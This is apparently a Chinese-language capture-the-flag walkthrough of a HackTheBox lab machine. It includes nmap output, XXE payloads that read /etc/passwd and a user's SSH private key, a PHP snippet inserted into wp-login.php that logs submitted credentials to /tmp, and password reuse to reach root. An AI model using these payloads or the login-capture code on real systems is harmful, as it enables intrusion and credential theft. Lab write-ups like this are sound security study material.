21想到ftp进去找东西,都提示了匿名可进,里面有个test文件,好直白。。
22想到可能有ssh登录
80进web信息搜集
C:\root> nmap -A 10.10.10.78
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-29 23:03 EDT
Nmap scan report for 10.10.10.78
Host is up (0.25s latency).
Not shown: 872 closed ports, 125 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r--r--r-- 1 ftp ftp 86 Dec 21 2017 test.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.14.2
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ad:21:fb:50:16:d4:93:dc:b7:29:1f:4c:c2:61:16:48 (RSA)
| 256 2c:94:00:3c:57:2f:c2:49:77:24:aa:22:6a:43:7d:b1 (ECDSA)
|_ 256 9a:ff:8b:e4:0e:98:70:52:29:68:0e:cc:a0:7d:5c:1f (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
还说啥,anonymous
进去,输入binary,然后get下载那个test
打开看是xml格式
进入网页,没什么东西
dirbuster扫,gobuster扫各种报错,可能是网络问题或者靶机问题,重启靶机
再折腾一会,才扫出新目录host
但是看不懂,先抓包看看吧
抓的包也没价值。但是联想到先前看到的xml,可能会有xxe攻击,网上很多科普xxe
把ftp里的test内容复制到burp的repeater
再看,又新的内容了。证实可以攻击
那我伪造xml,先看经典的/etc/passwd
就像devoops靶机
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE details [
<!ELEMENT subnet_mask ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<details>
<subnet_mask>&xxe;</subnet_mask>
<test></test>
</details>
先看用户表,成功显示,并发现俩bash也就是俩有shell的用户
和那个devoop靶机一样思路,既然ssh开了,何不妨找sshkey?
找到了f用户的
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE details [
<!ELEMENT subnet_mask ANY >
<!ENTITY xxe SYSTEM "/home/florian/.ssh/id_rsa" >]>
<details>
<subnet_mask>&xxe;</subnet_mask>
<test></test>
</details>
复制到本机,保存为id_rsa或者其他名,chmod 600 id_rsa
随后ssh -i id_rsa [email protected]
登录成功
靶机里有俩用户,一般套路就是先提权到另一个用户,然后从另一个用户有漏洞提到root
老套路自动脚本扫,linpeas下载没发现啥,可以扫到数据库账号密码,但是切cliff或切到root没用。
不过,账号重复利用,总是一个常见套路,这次没用,不见得其他时候没用,留心。
继续上pspy扫进程pspy下载
看到uid是1001这个用户,想到cliff,,我们之前从/etc/passwd
看到他的uid就是1001,
他在循环运行这个wp博客登录脚本wp-login.py
。之前我们从没看到还有wordpress博客的信息,这里又冒出来这个。
但是这个脚本我们打不开,无法查看。如果有写的权限,直接放弹shell代码或提权代码,岂不美哉。但现在这个文件我们没权限。
另外在/var/www/html也发现了dev_wiki
这个目录,里面都是这个靶机服务器关于wp博客的配置文件。根据ls -la
查看,在权限那里,虽然属于cliff,但我们竟然也有写的权限。
这个包含wp博客的目录,之前我们没扫到。
我再放到浏览器里扫10.10.10.78/dev_wiki
提示跳转新dns地址问题报错
加到本机的/etc/hosts
里去
再打开,可以了,进入了wp博客。找到个这个页面,看到这个留言里说,cliff会经常按时保持登录的
如此,联想到pspy的进程扫描,是不是cliff用那个脚本进行按时的wp博客自动登录??
虽然我们打不开那个脚本。更没写的权限。
但是我们有wp整个配置文件的写的权限啊,都在dev_wiki
目录里。
这个dev_wiki
里也有wp-login.php
管理着这个靶机服务器关于wp博客登录的大大小小
我们既然有写的权限,何不修改一下这个wp-login.php
,比如里面放抓post的代码,因为账号密码属于post,cliff只要登录输入账号密码,就被我抓取,我就知道他wp账号密码了。有了这个,再看下一步如何走。
于是我在wp-login.php
开头,写入简单的php代码。放到 就是个简单的函数,抓post值输出到新文件,我这里是放到tmp目录下。网上很多科普和科普
$file='/tmp/credentials.txt';
file_put_contents($file,$_POST);
过一会。我再查看输出的文件。就有了,成功抓到,直接显示是admin。不过格式有点乱,log in是登录,所以应该不是密码。密码是前面的部分。!KRgYs(JFO!&MTr)lf
最后,切cliff,失败,但是就像我上面说了的,密码可能有重复利用套路,何况这账户还写的是admin,不妨试试直接切成root,成功。拿下root。